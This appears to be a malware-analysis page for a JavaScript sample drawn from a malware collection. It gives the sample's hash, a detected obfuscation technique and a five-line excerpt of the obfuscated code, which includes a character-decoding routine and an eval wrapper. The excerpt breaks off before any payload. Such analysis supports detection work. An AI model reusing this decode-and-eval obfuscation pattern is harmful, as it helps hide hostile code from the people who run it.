Benign javascript-malware-collection Download

20151208_31a7790339c2c9b10acfe25d1fb5dbd1.js

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-2566eaa1e1a4745ba2c7d22fceedbe363b2841cdf5efa016d99fa937d529586ddaa

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var eXDJKkhJYlRRp=[];for(jWqzVTO=(-158+158)/220;jWqzVTO<(82204+484)/646;jWqzVTO++){eXDJKkhJYlRRp[jWqzVTO]=String.fromCharCode(jWqzVTO)}function xxXuM(vSNxTwOGplm,JfwsXhntvsbcQ,PXYGKOKl){PoOX=parseInt(vSNxTwOGplm,JfwsXhntvsbcQ);zeMIq=PoOX.toString(PXYGKOKl);return zeMIq;}function uOzNwQiMKMmMUcu(FRZJGZYtIZKkZrAZl){eval(FRZJGZYtIZKkZrAZl)}
2function saEEhMcnrmKgvRnCNJAbEgPMJBeEVWbZPOZbyQbMLQVZBFYgWURcBf(vcKjMuWyrUCTM,bVPdAgnzzvdKIm){ return eXDJKkhJYlRRp[xxXuM(vcKjMuWyrUCTM[bVPdAgnzzvdKIm],(8604+536)/914,(1366+404)/177)];}
3function YXKjNJz(MNKwJkjXreAuQmQpiGJGpcKWiNtPMqQjLZII) {return !isNaN(parseFloat(MNKwJkjXreAuQmQpiGJGpcKWiNtPMqQjLZII)) && isFinite(MNKwJkjXreAuQmQpiGJGpcKWiNtPMqQjLZII);}
4function eMJgNQuNIzS(nPbNAlCX,FuqglH){return nPbNAlCX.split(FuqglH)}
5var l=[];l.push("13");l.push("10");l.push("13");l.push("10");l.push("118");l.push("97");l.push("114");l.push("32");l. …